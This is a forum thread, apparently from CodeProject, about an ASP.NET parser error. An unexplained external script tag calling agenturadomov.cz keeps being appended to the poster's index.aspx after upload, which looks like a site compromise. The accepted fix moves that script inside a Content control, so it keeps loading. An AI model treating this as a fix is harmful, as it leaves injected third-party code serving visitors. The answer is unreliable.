Parser error...
-
Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code:
<%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra
-
Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code:
<%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra
Your Application is hosted on IIS or it is running from VS ? Is it is from IIS what is the Framework version over there ?
Abhijit Jana | Codeproject MVP Web Site : abhijitjana.net Don't forget to click "Good Answer" on the post(s) that helped you.
-
Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code:
<%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra
I think u did right, any way try designing the same code using .net 3.5 ver if possible.Good luck.
-
Your Application is hosted on IIS or it is running from VS ? Is it is from IIS what is the Framework version over there ?
Abhijit Jana | Codeproject MVP Web Site : abhijitjana.net Don't forget to click "Good Answer" on the post(s) that helped you.
Thank you replying. It is working fine on local host. When I uploaded it to the server, It worked fine for a day. Next day I got this error. Then after googling I removed all the xml tags () and again uploaded it to the server. It worked fine. Then after some time it again showed the error.
cheers, sneha
-
Your Application is hosted on IIS or it is running from VS ? Is it is from IIS what is the Framework version over there ?
Abhijit Jana | Codeproject MVP Web Site : abhijitjana.net Don't forget to click "Good Answer" on the post(s) that helped you.
I am developing with asp.net 3.5 and the same is on the server.
cheers, sneha
-
Thank you replying. It is working fine on local host. When I uploaded it to the server, It worked fine for a day. Next day I got this error. Then after googling I removed all the xml tags () and again uploaded it to the server. It worked fine. Then after some time it again showed the error.
cheers, sneha
What is the Virtual Directory Framework Version on IIS ?
Abhijit Jana | Codeproject MVP Web Site : abhijitjana.net Don't forget to click "Good Answer" on the post(s) that helped you.
-
Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code:
<%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra
Something is adding that
<script>
block to your page, so asp.net then throws an error because there is something outside an<asp:Content>
block - which is not allowed. The first thing I would do is check IIS to make sure that there is nothing set to automatically include the block.</x-turndown> -
Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code:
<%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra
Thanks for the replies. I got the solution. Actually I have to move the script tag inside a asp:Content tag.
cheers, sneha